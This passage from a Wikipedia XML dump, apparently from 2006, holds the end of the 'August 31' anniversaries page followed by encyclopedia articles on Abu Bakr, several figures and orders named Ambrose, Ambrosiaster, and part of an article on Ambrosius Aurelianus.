*1970 - [[Queen Rania]], Queen of Jordan and wife of King Abdullah II
*[[1972]] - [[Chris Tucker]], American actor
*[[1977]] - [[Jeff Hardy]], American professional wrestler
*1977 - [[Craig Nicholls]], Australian singer, songwriter, and guitarist ([[The Vines]])
*[[1982]] - [[José Manuel Reina Páez|Jose Reina]], Spanish footballer

==Deaths==
*[[651]] - [[Saint Aidan of Lindisfarne]], Irish bishop and missionary
*[[1056]] - [[Theodora (11th century)|Theodora]], Byzantine Empress (b. [[981]])
*[[1234]] - [[Emperor Go-Horikawa]] of Japan (b. [[1212]])
*[[1372]] - [[Ralph Stafford, 1st Earl of Stafford]], English soldier (b. [[1301]])
*[[1422]] - King [[Henry V of England]] (b. [[1387]])
*[[1645]] - [[Francesco Bracciolini]], Italian poet (b. [[1566]])
*[[1654]] - [[Ole Worm]], Danish physician (b. [[1588]])
*[[1688]] - [[John Bunyan]], English writer (b. [[1628]])
*[[1741]] - [[Johann Gottlieb Heineccius]], German jurist (b. [[1681]])
*[[1772]] - [[William Borlase]], English naturalist (b. [[1695]])
*[[1782]] - [[George Croghan]], American colonist
*[[1795]] - [[François-André Danican Philidor]], French chess player (b. [[1726]])
*[[1799]] - [[Nicolas-Henri Jardin]], French architect (b. [[1720]])
*[[1814]] - [[Arthur Phillip]], British admiral, first Governor of New South Wales (b. [[1738]])
*[[1867]] - [[Charles Baudelaire]], French poet (b. [[1821]])
*[[1920]] - [[Wilhelm Wundt]], German psychologist (b. [[1832]])
*[[1941]] - [[Marina Tsvetaeva]], Russian poet (b. [[1892]])
*[[1963]] - [[Georges Braque]], French painter (b. [[1882]])
*[[1967]] - [[Ilya Ehrenburg]], Russian writer (b. [[1891]])
*[[1969]] - [[Rocky Marciano]], American boxer (b. [[1923]])
*[[1973]] - [[John Ford]], American film director (b. [[1894]])
*[[1978]] - [[John Wrathall]], [[President of Rhodesia]] (b. [[1913]])
*[[1979]] - [[Sally Rand]], American dancer and actress (b. [[1904]])
*[[1985]] - [[Frank Macfarlane Burnet]], Australian biologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1899]])
*[[1986]] - [[Henry Moore]], English sculptor (b. [[1898]])
*1986 - [[Urho Kekkonen]], [[President of Finland]] (b. [[1900]])
*[[1997]] - [[Diana, Princess of Wales]] (vehicular collision) (b. [[1961]])
**[[Dodi Fayed]], Egyptian-born film producer (vehicular collision) (b. [[1955]])
*[[2002]] - [[Lionel Hampton]], American vibraphone player (b. [[1908]])
*2002 - [[George Porter]], English chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1920]])
*[[2004]] - [[Carl Wayne]], English singer (b. [[1943]])
*[[2005]] - [[Józef Rotblat]], Polish physicist, recipient of the [[Nobel Peace Prize]] (b. [[1908]])
*2005 - [[Michael Sheard]], British actor (b. [[1940]])

==Holidays and observances==
* [[Calendar of Saints]] - Saint [[Aidan of Lindisfarne]], [[San Abbondio]], Saint [[Raymond Nonnatus]]
* [[Moldova]]: Day of Our Language (Limba Noastra)
* [[Malaysia]] - [[Hari Merdeka]], a [[National Day]] ([[Independence Day|independence]] within the Commonwealth, [[1957]])
* [[Kyrgyzstan]] - [[Independence Day]] (from USSR, [[1991]])
* [[Trinidad and Tobago]] - [[Independence Day]] (from Great Britain, [[1962]])
&lt;!--* [[United Kingdom]] - the cut-off day which defines the [[school year]] for students.--&gt;

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/31 BBC: On This Day]

-----

[[August 30]] - [[September 1]] - [[July 31]] - [[September 30]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:31 Augustus]]
[[ar:31 أغسطس]]
[[an:31 d'agosto]]
[[ast:31 d'agostu]]
[[bg:31 август]]
[[be:31 жніўня]]
[[bs:31. avgust]]
[[ca:31 d'agost]]
[[ceb:Agosto 31]]
[[cv:Çурла, 31]]
[[co:31 d'aostu]]
[[cs:31. srpen]]
[[cy:31 Awst]]
[[da:31. august]]
[[de:31. August]]
[[et:31. august]]
[[el:31 Αυγούστου]]
[[es:31 de agosto]]
[[eo:31-a de aŭgusto]]
[[eu:Abuztuaren 31]]
[[fo:31. august]]
[[fr:31 août]]
[[fy:31 augustus]]
[[ga:31 Lúnasa]]
[[gl:31 de agosto]]
[[ko:8월 31일]]
[[hr:31. kolovoza]]
[[io:31 di agosto]]
[[id:31 Agustus]]
[[ia:31 de augusto]]
[[ie:31 august]]
[[is:31. ágúst]]
[[it:31 agosto]]
[[he:31 באוגוסט]]
[[jv:31 Agustus]]
[[ka:31 აგვისტო]]
[[csb:31 zélnika]]
[[ku:31'ê gelawêjê]]
[[la:31 Augusti]]
[[lt:Rugpjūčio 31]]
[[lb:31. August]]
[[hu:Augusztus 31]]
[[mk:31 август]]
[[ml:ആഗസ്റ്റ്‌ 31]]
[[ms:31 Ogos]]
[[nap:31 'e aùsto]]
[[nl:31 augustus]]
[[ja:8月31日]]
[[no:31. august]]
[[nn:31. august]]
[[oc:31 d'agost]]
[[pl:31 sierpnia]]
[[pt:31 de Agosto]]
[[ro:31 august]]
[[ru:31 августа]]
[[sco:31 August]]
[[sq:31 Gusht]]
[[scn:31 di austu]]
[[simple:August 31]]
[[sk:31. august]]
[[sl:31. avgust]]
[[sr:31. август]]
[[fi:31. elokuuta]]
[[sv:31 augusti]]
[[tl:Agosto 31]]
[[tt:31. August]]
[[te:ఆగష్టు 31]]
[[th:31 สิงหาคม]]
[[vi:31 tháng 8]]
[[tr:31 Ağustos]]
[[uk:31 серпня]]
[[ur:31 اگست]]
[[wa:31 d' awousse]]
[[war:Agosto 31]]
[[zh:8月31日]]
[[pam:Agostu 31]]</text>
    </revision>
  </page>
  <page>
    <title>Autpert Ambrose</title>
    <id>1714</id>
    <revision>
      <id>36265001</id>
      <timestamp>2006-01-22T21:29:42Z</timestamp>
      <contributor>
        <username>Necrothesp</username>
        <id>64853</id>
      </contributor>
      <text xml:space="preserve">'''Autpert Ambrose (Ambroise)''' (d. [[778]]), was a [[Franks|Frankish]] [[Benedictine]] monk.

He became abbot of San Vicenzo on the Volturno in South Italy in the time of [[Desiderius]], king of the [[Lombards]].  Autpert's election as [[abbot]] caused internal dissent at St. Vicenzo, and both [[Pope Stephen III]] and [[Charlemagne]] intervened.  The disagreement was based both on objections to Autpert's personality and to his Frankish origin.

He wrote a considerable number of works on the Bible and religious subjects generally. Among these are commentaries on the [[Apocalypse]], on the [[Psalms]], and on the [[Song of Solomon]]; Lives of Saints Paldo, Tuto and Vaso; [[Assumption of Mary|Assumption]] of the Virgin; and a ''Combat between the Virtues and the Vices''.

* [http://www.newadvent.org/cathen/02143b.htm Catholic Encyclopedia article]

[[Category:Frankish people]]
[[Category:Benedictines]]</text>
    </revision>
  </page>
  <page>
    <title>Abu Bakr</title>
    <id>1715</id>
    <revision>
      <id>41303401</id>
      <timestamp>2006-02-26T11:44:46Z</timestamp>
      <contributor>
        <username>Rebelguys2</username>
        <id>406178</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/217.218.239.202|217.218.239.202]] ([[User_talk:217.218.239.202|talk]]) to last version by Zora</comment>
      <text xml:space="preserve">{{Islam}}
:''For the entry on Persian philosopher Abū Bakr Muhammad Ibn Zakarīya al-Rāzi, see [[Al-Razi]].''

'''Abu Bakr''' ({{lang-ar|&amp;#1575;&amp;#1576;&amp;#1608; &amp;#1576;&amp;#1603;&amp;#1585;}}, alternative spellings, '''Abubakar''', '''Abi Bakr''', '''Abu Bakar''') (''ca''. [[573]] &amp;ndash; [[August 23]], [[634]]) ruled as the first of the [[Muslim]] [[caliph]]s ([[632]] &amp;ndash; [[634]]).

==Early life==
Abu Bakr was born in [[Mecca]] (Makkah), a [[Quraish]]i of the [[Banu Taim]] clan. According to early Muslim historians, he was a [[merchant]], and highly esteemed as a [[judge]], as an interpreter of [[dream]]s, and as one learned in Meccan traditions. He was one of the last people anyone would have expected to convert to the faith preached by his kinsman [[Muhammad]]. Yet he was one of the [[Identity of first male Muslim | first converts]] to [[Islam]]  and instrumental in converting many of the Quraish and the residents of Mecca.

Originally called ''Abd-ul-Ka'ba'' (&quot;servant of the [[Kaaba]]&quot;), on his conversion he assumed the name of ''Abd-Allah'' (servant of God). However, he is usually styled ''Abu Bakr'' (from the Arabic word ''bakr'', meaning a young [[camel]]) due to his interest in raising camels. [[Sunni]] Muslims also honor him as Al-Siddiq (&quot;the truthful&quot;).  His full name was '''Abd-Allah ibn Abi Quhaafah'''.

==During the lifetime of Muhammad==
Abu Bakr was one of Muhammad's companions. When Muhammad fled from Mecca in the [[migration to Medina]] of [[622]], Abu Bakr alone accompanied him. Abu Bakr was also linked to Muhammad by marriage: Abu Bakr's daughter [[Aisha]] married Muhammad soon after the migration to [[Medina]]. He was a trusted lieutenant, high in Muhammad's councils.

==Rise to the Caliphate==
During the prophet's last illness, it is said by some traditions that Muhammad allowed Abu Bakr to lead prayers in his absence, and that many took this as an indication that Abu Bakr would succeed Muhammad. Soon after the latter's death (on [[8 June]] [[632]]), a gathering of prominent ''[[Ansar]]'' and some of the ''[[Muhajirun]]'', in Medina, acclaimed Abu Bakr as the new Muslim leader or ''[[caliph]]''. What happened at this meeting, called [[Saqifah]], is much disputed. 

Abu Bakr's assumption of power is an extremely controversial matter, and the source of the first [[schism]] in Islam, between [[Sunni Islam|Sunni]] and [[Shia Islam]]. Shi'a believe that Muhammad's cousin and son-in-law, [[Ali ibn Abu Talib]], was his designated successor, while Sunnis believe that Muhammad deliberately declined to designate a successor. They argue that Muhammad endorsed the traditional Arabian method of ''[[shura]]'' or ''consultation'', as the way for the community to choose leaders. Designating one's successor was the sign of kingship, or ''[[mulk]]'', which the independence-minded tribesmen disliked. Whatever the truth of the matter, Ali gave his formal ''[[bay'ah]]'', or submission, to Abu Bakr and to Abu Bakr's two successors. (The Sunni depict this ''bay'ah'' as enthusiastic, and Ali as a supporter of Abu Bakr and [[Umar]]; the Shi'a argue that Ali's support was only ''pro forma'', and that he effectively withdrew from public life in protest). The Sunni/Shi'a schism did not erupt into open warfare until much later. Many volumes have been written on the affair of the succession. A detailed treatment can be found at [[Succession to Muhammad]].

==The Ridda Wars==
Troubles emerged soon after Abu Bakr's succession, threatening the unity and stability of the new community and state. Various Arab tribes of [[Hejaz]] and [[Nejd]] rebelled against the ''caliph'' and the new system. Some withheld the ''[[zakat]]'', the alms tax, though they did not challenge the prophecy of Muhammad. Others [[apostatize]]d outright and returned to their pre-Islamic religion and traditions, classified by Muslims as [[idolatry]]. The tribes claimed that they had submitted to Muhammad and that with Muhammad's death, their allegiance was ended. Abu Bakr insisted that they had not just submitted to a leader but joined the Muslim religious community, of which he was the new head. Apostasy is a capital offense under traditional interpretations of [[Islamic law]], and Abu Bakr declared war on the rebels. This was the start of the ''[[Ridda wars]]'', [[Arabic language|Arabic]] for the Wars of [[Apostasy]]. The severest struggle was the war with [[Ibn Habib al-Hanefi]], known as &quot;Musailimah the Liar&quot;, who claimed to be a prophet and Muhammad's true successor. The Muslim general [[Khalid bin Walid]] finally defeated al-Hanefi at the [[Battle of Akraba]].

==Expeditions to the north==

After suppressing internal dissension and completely subduing [[Arabia]], Abu Bakr directed his generals towards the [[Byzantine Empire|Byzantine]] and [[Sassanid Empire|Sassanid]] empires. Khalid bin Walid conquered [[History of Iraq|Iraq]] in a single campaign, and a successful expedition into [[History of Syria|Syria]] also took place. [[Fred Donner]], in his book ''The Early Islamic Conquests'', argues that Abu Bakr's &quot;foreign&quot; expeditions were merely an extension of the Ridda Wars, in that he sent his troops against Arab tribes living on the borders of the [[Fertile Crescent]]. Given that the [[steppe]]s and [[desert]]s over which [[Arabic language|Arabic]]-speaking tribes roamed extended without break from southern Syria down to [[Yemen]], any polity that controlled only the southern part of the steppe was inherently insecure.

==The ''Qur'an''==

Some traditions about the origin of the ''Qur'an'' say that Abu Bakr was instrumental in preserving Muhammad's revelations in written form. It is said that after the hard-won victory over Musailimah, [[Umar ibn al-Khattab]] (the later ''Caliph'' Umar), saw that many of the Muslims who had memorized the ''Qur'an'' from the lips of the prophet had died in battle. Abu Bakr asked Umar to oversee the collection of the revelations. The record, when completed, was deposited with [[Hafsa bint Umar]], daughter of Umar, and one of the wives of Muhammad. Later it became the basis of [[Uthman ibn Affan]]'s definitive text of the ''Qur'an''. However, other historians give Uthman the principal credit for collecting and preserving the ''Qur'an''. Shi'as strongly refute the idea that Abu Bakr or Umar had anything to do with the collection or preservation of the ''Qur'an''.

==Death==
Abu Bakr died on [[August 23]], [[634]] in [[Medina]]. Shortly before his death, likely of natural causes (one tradition ascribes it to [[poison]]), he urged the Muslim community to accept [[Umar ibn al-Khattab]] as his successor. The community did so, without serious incident. However, this succession is also a matter of controversy. Shi'a Muslims believe that the leadership should have been assumed by Ali ibn Abu Talib, without any recourse to shura (consultation). 

Abu Bakr initially served without pay. His followers insisted that he take an official stipend. At his death, his will returned all these payments to the treasury (''Age of Faith'', Durant, p. 187).

Abu Bakr lies buried in the [[Masjid al Nabawi]] mosque in Medina, alongside Muhammad and Umar ibn al-Khattab.

==First man to adopt Islam?==
Muslim scholars agree that the first woman to adopt Islam was [[Khadijah]], Muhammad's first wife. However, there is some disagreement over the identity of  the first male to convert. Some Muslim historians have claimed that it was Abu Bakr, or perhaps Muhammad's adopted son Zayd ibn Harithah. Shi'a Muslims, as well as some other Muslim historians, believe that the first male convert (after Muhammad) was Ali ibn Abi Talib. This matter is discussed at greater length in [[Identity of first male Muslim]].

==Shia view==
:''{{Main|Shia view of Abu Bakr}}

Shi'as believe that Abu Bakr, far from being a devout Muslim and wise and humble man, was a schemer who seized the Islamic state for himself, displacing the proper heir, Ali. They believe that Abu Bakr and Umar persecuted Ali, his family, and his followers, and in so doing, caused the death of Ali's wife and Muhammad's daughter, [[Fatima Zahra]], and her unborn child, [[Al Muhsin]]. For a fuller discussion, see [[Succession to Muhammad]].

==See also==
*[[Family tree of Abu Bakr ibn abu Qahafa]]
*[[Succession to Muhammad]]

==References==
* Donner, Fred -- ''The Early Islamic Conquests'', Princeton University Press, 1981.
* Watt, W. Montgomery -- ''Muhammad at Mecca'', Oxford University Press, 1953.

{{start box}}
{{succession box|title=[[Caliph]]|before= --|after=[[Umar ibn al-Khattab|Umar]]|years=632&amp;ndash;634}}
{{end box}}

==External links==
*http://www.ymofmd.com/books/abas/chapter2.htm
*http://www.islamonline.net/English/NewHijriYear/HijrahHeroes/1426/04.shtml
* [http://www.lailahailallah.net/Khutbahs/Khutbah17.asf  Sirah of Abu Bakr (Radia'Allahuanhu) Part 1] by   Shaykh Sayyed Muhammad bin Yahya Al-Husayni Al-Ninowy.
* [http://www.lailahailallah.net/Khutbahs/Khutbah16.asf  Sirah of Abu Bakr (Radia'Allahuanhu) Part 2] by   Shaykh Sayyed Muhammad bin Yahya Al-Husayni Al-Ninowy.


[[Category:573 births]]
[[Category:634 deaths]]
[[Category:Caliphs]]
[[Category:Muslims]]
[[Category:Sahaba]]

[[ar:أبو بكر]]
[[da:Abu Bakr]]
[[de:Abu Bakr]]
[[es:Abu Bakr as-Siddiq]]
[[et:Abū Bakr]]
[[fa:ابوبکر]]
[[fi:Abu Bakr]]
[[fr:Abou Bakr]]
[[gl:Abu Bakr - ابو بكر الصديق]]
[[he:אבו בכר]]
[[id:Abu Bakar]]
[[it:Abū Bakr]]
[[ja:アブー＝バクル]]
[[ms:Saidina Abu Bakar]]
[[nl:Aboe Bakr]]
[[no:Abu Bakr]]
[[pl:Abu Bakr]]
[[pt:Abu Bakr]]
[[ru:Абу Бакр]]
[[sv:Abu Bakr]]
[[th:อะบูบักรฺ]]
[[tr:Ebu Bekir]]
[[zh:艾卜·伯克尔]]</text>
    </revision>
  </page>
  <page>
    <title>Ambrose the Camaldulian</title>
    <id>1716</id>
    <revision>
      <id>36939720</id>
      <timestamp>2006-01-27T13:30:28Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">'''Ambrose the Camaldulian,''' (Ambrogio Traversari) ([[1386]]-[[1439]]), was a [[theology|theologian]], born near [[Forlì]] at the village of Portico di [[Romagna]].

At the age of fourteen he entered the [[Camaldulian]] Order in the monastery of Santa Maria degli Angeli, and rapidly became a leading theologian and Hellenist. In Greek literature his master was [[Manuel Chrysoloras|Emmanuel Chrysoloras]]. He became general of the order in 1431, and was a leading advocate of the [[papacy]].
This attitude he showed clearly when he attended the [[Council of Basel]] as legate of [[Pope Eugenius IV]].
So strong was his hostility to some of the delegates that he described Basel as a western [[Babylon]]. He likewise supported the pope at [[Ferrara]] and Florence, and worked hard in the attempt to reconcile the Eastern and Western Churches.

Though this cause was unsuccessful, Ambrose is interesting as typical of the new humanism which was growing up within the church. Thus while among his own colleagues he seemed merely a hypocritical and arrogant priest, in his relations with his brother humanists, such as [[Cosimo de Medici]], he appeared as the student of classical antiquities and especially of Greek theological authors.

His chief works are: -- ''Hodoeporicon'', an account of a journey taken at the pope's command, during which he visited the monasteries of Italy; translations of [[Palladius]]' ''Life of Chrysostom;'' of ''Nineteen Sermons of Ephraem Syrus''; of the St Basil ''On Virginity.''  A number of his manuscripts remain in the library of St Mark at Venice.

He died on [[October 20]] [[1439]]. 

==References==
*{{1911}}

==External links==

* [http://www.tertullian.org/articles/traversari_index.htm Letters] - a few letters translated into English and a portrait of him from a manuscript he copied.</text>
    </revision>
  </page>
  <page>
    <title>Ambrosians</title>
    <id>1717</id>
    <revision>
      <id>41724977</id>
      <timestamp>2006-03-01T08:33:48Z</timestamp>
      <contributor>
        <ip>193.40.4.119</ip>
      </contributor>
      <comment>/* Ambrosian Orders */</comment>
      <text xml:space="preserve">'''Ambrosians''' is a term that might be applied either to members of one of the religious brotherhoods which at various times since the [[14th century]] have sprung up in and around [[Milan]] or, exceptionally to a [[16th century]] sect of [[Anabaptist Ambrosians|Anabaptists]]. 

==Ambrosian Orders==
Only the oldest of the Catholic Ambrosians, the Fratres S. Ambrosii ad Nemus, had anything more than a very local significance. This order is known from a bull of [[Pope Gregory XI]] addressed to the [[monk]]s of the church of St Ambrose outside Milan.

Saint Ambrose, Bishop of Milan, certainly did not found religious orders, though he took an interest in the monastic life and watched over its beginnings in his diocese, providing for the needs of a monastery outside the walls of Milam, as Saint Augustine recounts in his ''Confessions''. Ambrose also made successful efforts to improve the moral life of women in the Milan of his time by promoting the permament institution of Virgins, as also of widows. His exhortations and other interventions have survived in various writings: ''De virginibus'', ''De viduis'', ''De virginitate'', ''De institutione virginis'', ''De exhortatione virginitatis'', and ''De lapsu virginis consecratae''. Ambrose was the only Father of the Church to leave behind so many writings on the subject and his attentions naturally enough led to the formation of  communities which later became formal monasteries of women. 

It is against this background that two religious orders or congregations, one of men and one of women, when founded in the Milan area during the [[13th century|13th]] and [[15th century|15th centuries]], took Saint Ambrose as their patron and hence adopted his name.
 
===The Order of St Ambrose=== 
The first of these groups was formed in a wood outside Milan by three noble Milanese, Alexander Grivelli, Antonio Petrasancta, and Albert Besuzzi, who were joined by others, including some  priests. In [[1375]] [[Pope Gregory XI]] gave them the Rule of St Augustine, with set of constitutions. As a canonically recognized order they took the name &quot;Fratres Sancti Ambrosii ad Nemus&quot; and adopted a habit consisting of a brown tunic, scapular, and hood. The brethren elected a superior with the title of prior who was then instituted by the Archbishop of Milan. The priests of the congregation undertook preaching and other tasks of the ministry but were not allowed to accept charge parishes. In the liturgy they followed the [[Ambrosian Rite]]. Various monasteries were founded on these lines, but without any formal bond between them. In [[1441]] [[Pope Eugene IV]] merged them into one congregation called &quot;Congregatio Sancti Ambrosii ad Nemus&quot;, made the original house the main seat, and laid down a system of government whereby a general chapter met every three years, elected the priors who stayed in office till the next chapter. There was a rector, or superior general, who was assisted by two &quot;visitors&quot;.

Saint Charles Borromeo, Archbishop of Milan, successfully reformed their discipline, grown lax, in [[1579]]. In [[1589]] [[Pope Sixtus V]] united to the Congregation of St Ambrose the monasteries of a group known as the &quot;Brothers of the Apostles of the Poor Life&quot; (or  &quot;Apostolini&quot; or &quot;Brothers of St. Barnabas&quot;), whose houses were in the province of Genoa and in the March of Ancona. This was an order that had been founded by Giovanni Scarpa at the end of the [[15th century]]. The union  was confirmed by [[Pope Paul V]] in [[1606]], at which time the congregation added the name of St. Barnabas to its title, adopted new constitutions, divided its houses into four provinces, two of them, St Clement's and St Pancras's, being in Rome. Published works have survived from the pen of Ascanio Tasca and Michele Mulozzani, each of whom was superior-general, and of Zaccaria Visconti, Francesco-Maria Guazzi and Paolo Fabulotti. Although various Ambrosians were given the title of Blessed in recognition of their holiness: Antonio Gonzaga of Mantua, Filippo of Fermo, and Gerardo of Monza, the order was eventually dissolved by [[Pope Innocent X]] in [[1650]]. 

===Ambrosian Nuns===
The Nuns of St Ambrose (Ambrosian Sisters) wore a habit of the same colour as the Brothers of St Ambrose, conformed to their constitutions, and followed the [[Ambrosian Rite]], but were independent in government. [[Pope Sixtus IV]] gave the nuns canonical status in [[1474]]. Their one monastery was on the top of Monte Varese, near Lago Maggiore, on the spot where their foundress, the Blessed Catarina Morigia (or Catherine of Palanza), had first led a solitary life.  Other early nuns were the Blessed Juliana of Puriselli, Benedetta Bimia, and Lucia Alciata. The nuns were esteemed by St Charles Borromeo. 

Another group of cloistered &quot;Nuns of St Ambrose&quot;, also called the Annunciatae (Italian: ''Annunziate'') of Lombardy or &quot;Sisters of St Marcellina&quot;, were founded in [[1408]] by three young women of Pavia, Dorothea Morosini, Eleonora Contarini, and Veronica Duodi. Their houses, scattered throughout Lombardy and Venetia, were united into a congregation by St Pius V, under the Rule of St Augustine with a mother-house, residence of the prioress general, at Pavia. One of the nuns in this group was Saint Catharine Fieschi Adorno, who died on [[September 14]], [[1510]].


===The [[Oblates of St Ambrose and of St Charles]]===
In some sense also &quot;Ambrosians&quot; are the members of a diocesan religious society founded by St Charles Borromeo, Archbishop of Milan. All priests or destined to become priests, they took a simple vow of obedience to their bishop. The model for this was a society that already existed at Brescia, under the name of &quot;Priests of Peace&quot;. In August [[1578]] the new society was inaugurated, being entrusted with the church of the Holy Sepulchre and given the name of &quot;Oblates of St. Ambrose.&quot; They later received the approbation of Gregory XIII. St Charles died in [[1584]]. These Oblates were dispersed by [[Napoleon I]] in 1810, while another group called the Oblates of Our Lady of Rho escaped this fate. In 1848 they were reorganized and given the name of &quot;Oblates of St. Charles&quot; and reassigned the house of the Holy Sepulchre. In the course of the [[19th century]] similar groups were founded in a number of countries, including the &quot;Oblates of St Charles&quot;, established in London by Cardinal Nicholas Wiseman.

==See also==

*[[Ambrosian Rite]]

See Herzog-Hauck's ''Realencyklopadie'', i. 439. 

==References==
*{{1911}}
*{{catholic}}</text>
    </revision>
  </page>
  <page>
    <title>Ambrosiaster</title>
    <id>1718</id>
    <revision>
      <id>29324051</id>
      <timestamp>2005-11-26T23:06:35Z</timestamp>
      <contributor>
        <username>Thierry Caro</username>
        <id>441183</id>
      </contributor>
      <minor />
      <comment>fr</comment>
      <text xml:space="preserve">'''Ambrosiaster''', a commentary on St [[Paul of Tarsus|Paul]]'s epistles, &quot;brief in words but weighty in matter,&quot; and valuable for the criticism of the [[Latin]] text of the [[New Testament]], was long attributed to St [[Ambrose]].

[[Erasmus]] in 1527 threw doubt on the accuracy of this ascription, and the author is usually spoken of as Ambrosiaster or pseudo-Ambrose. Because [[Augustine of Hippo|Augustine]] cites part of the commentary on [[Epistle to the Romans|Romans]] as by &quot;Sanctus Hilarius&quot; it has been ascribed by various critics at different times to almost every known Hilary. Dom G. Morin (''Rev. d'hist. et de litt. religieuses'', tom. iv. 97 f.) broke new ground by suggesting in 1899 that the writer was Isaac, a converted Jew, writer of a tract on the Trinity and Incarnation, who was exiled to [[Spain]] in 378-380 and then relapsed to [[Judaism]], but he afterwards abandoned this theory of the authorship in favour of [[Decimus Hilarianus Hilarius]], proconsul of [[North Africa during the Classical Period|Africa]] in 377.

With this attribution Professor Alex. Souter, in his ''Study of Ambrosiaster'' (Cambridge Univ.  Press, 1905), agrees. There is scarcely anything to be said for the possibility of Ambrose having written the book before he became a bishop, and added to it in later years, incorporating remarks of [[Hilary of Poitiers]] on Romans. The best presentation of the case for Ambrose is by P. A. Ballerini in his complete edition of that father's works. 

In the book cited above Professor Souter also discusses the authorship of the ''Quaestiones Veteris et Novi Testamenti,'' which the manuscripts ascribe to [[Augustine of Hippo|Augustine]]. He concludes, on very thorough [[philology|philological]] and other grounds, that this is with one possible slight exception the work of the same &quot;Ambrosiaster.&quot; The same conclusion had been arrived at previously by Dom Morin. 

==References==
*{{1911}}

[[fr:Ambrosiaster]]</text>
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  </page>
  <page>
    <title>Ambrosius Aurelianus</title>
    <id>1719</id>
    <revision>
      <id>40977437</id>
      <timestamp>2006-02-24T06:14:31Z</timestamp>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Ambrosius Aurelianus''' (incorrectly referred to in the ''[[Historia Regum Britanniae]]'' as '''Aurelius Ambrosius ''') was a leader of the [[Romano-British]], who won important battles against the [[Anglo-Saxons]] in the [[5th century]], according to [[Gildas]] and to the legends preserved in the ''[[Historia Britonum]]''. According to the Annal ''Chronicon Maiora'' Ambrosius came to power in [[479]]. Some scholars have speculated that he was the leader of the Romano-British at the [[Battle of Mons Badonicus]] and as such may have become a [[historical basis for King Arthur]].

== Aurelianus according to Gildas ==
Ambrosius Aurelianus is one of the few people Gildas identifies by name in his sermon [[Gildas#De Excidio Britanniae|De Excidio Britanniae]]. Following the destructive assault of the Saxons, the survivors gather together under the leadership of Ambrosius, who is described as &quot;a gentleman who, perhaps alone of the Romans, had survived the shock of this notable storm. Certainly his parents, who had worn the purple, were slain in it. His descendants in our day have become greatly inferior to their grandfather's [''avita''] excellence.&quot; According to Gildas, Ambrosius organised the survivors into an armed force, and achieved the first military victory over the Saxon invaders. However, this victory was not decisive: &quot;Sometimes the Saxons and sometimes the citizens [meaning the Romano-British inhabitants] were victorious.&quot; 

Two points in this brief description have attracted much scholarly commentary. The first is what Gildas meant by saying Ambrosius' parents &quot;had worn the purple&quot;: does this mean that Ambrosius was related to one of the [[Roman Emperors]], perhaps the [[House of Theodosius]] or a usurper like [[Constantine III (usurper)|Constantine III]]? The second question is the meaning of the word ''avita'': does it mean &quot;ancestors&quot;, or did Gildas intend it to mean more specifically &quot;grandfather&quot; — thus indicating Ambrosius lived about a generation before the Battle of [[Mons Badonicus]]? The lack of information for this period prevents us from decisively answerering these questions.

== Other accounts of Aurelianus ==
The ''Historia Britonum'' preserves several snippets of lore about Ambrosius. The most significant of these is the story about Ambrosius, [[Vortigern]], and the two dragons beneath [[Dinas Emrys]] 'Fortress of Ambrosius' in Chapters 40&amp;ndash;42.  This story was later retold with more detail by [[Geoffrey of Monmouth]] in his fictional ''[[Historia Regum Britanniae]]'', conflating the personage of Ambrosius with the Welsh tradition of [[Merlin (wizard)|Merlin]] the visonary, known for oracular utterances that foretold the coming victories of the native [[Celt]]ic inhabitants of Britain over the [[Saxons]] and the [[Normans]].

But there are smaller snippets of tradition preserved in ''Historia Brittonum'': in Chapter 31, we are told that Vortigern ruled in fear of Ambrosius; later, in Chapter 66, various events are dated from a battle of Guoloph (often identified with Wallop, 15km ESE of [[Amesbury]] near [[Salisbury, England|Salisbury]]), which is said to have been between Ambrosius and Vitolinus;  lastly, in Chapter 48, it is said that Pascent, the son of Vortigern, was granted rule over the kingdoms of [[Buellt]] and [[Gwrtheyrion]]. It is not clear how these various traditions relate to each other or that they come from the same tradition, and it is very possible that these references are to a different Ambrosius. The ''Historia Brittonum'' dates the battle of Guoloph to 439, forty to fifty years before the battles that Gildas says were commanded by Ambrosius Aurelianus.

Because Ambrosius and Vortigern are shown in the ''Historia Brittonum'' as being in conflict, some historians have suspected that this preserves a historical core of the existence of two parties in opposition to one another, one headed by Ambrosius, and the other by Vortigern. J.N.L. Myres built upon this suspicion and put forth the hypothesis that belief in [[Pelagianism]] reflected an actively provincial outlook in Britain, and that Vortigern represented the Pelagian party, while Ambrosius led the Catholic one. Some later historians accepted this hypothesis as fact, and have created a narrative of events in  fifth-century Britain with various degrees of elaborate detail. Yet a simpler alternative interpretation of this conflict between these two figures is that the ''Historia Brittonum'' is preserving traditions hostile to the purported descendants of Vortigern, who at this time were a ruling house in [[kingdom of Powys|Powys]]. This interpretation is supported by the negative character of all of the stories retold about Vortigern in the ''Historia Brittonum'', which include his alleged practice of [[incest]].

Ambrosius Aurelianus appears in later pseudo-chronicle tradition beginning with [[Geoffrey of Monmouth]]'s ''Historiae Regum Britanniae'' with the slightly garbled name ''Aurelius Ambrosius'', now presented as son of a King Constantine. When King Constantine's eldest son Constans is murdered at Vortigern's instigation, the two remaining sons, Ambrosius and Uther, still very young, are quickly hustled into exile in [[Brittany]]. (Note that this does not fit with Gildas' account in which Ambrosius' family perished in the turmoil of the Saxon uprisings.) Later, when Vortigern's power has faded, the two brothers return from exile with a large army, destroy Vortigern and become friends with Merlin. The Welsh possibly had traditions of two different Ambrosianii, whom Geoffrey of Monmouth confused.

In Welsh Ambrosius appears as ''Emrys Wledig''. In [[Robert de Boron]]'s ''Merlin'' he is called simply ''Pendragon'' and his younger brother is named ''Uter'', a name which Uter changes after the death of Pendragon to ''Uterpendragon''. This is probably a confusion that entered oral tradition from [[Robert Wace|Wace]]'s ''Brut''. Wace usually only refers to ''li roi'' 'the king' without naming him and someone has taken an early mention of Uther's epithet ''Pendragon'' as the name of his brother.

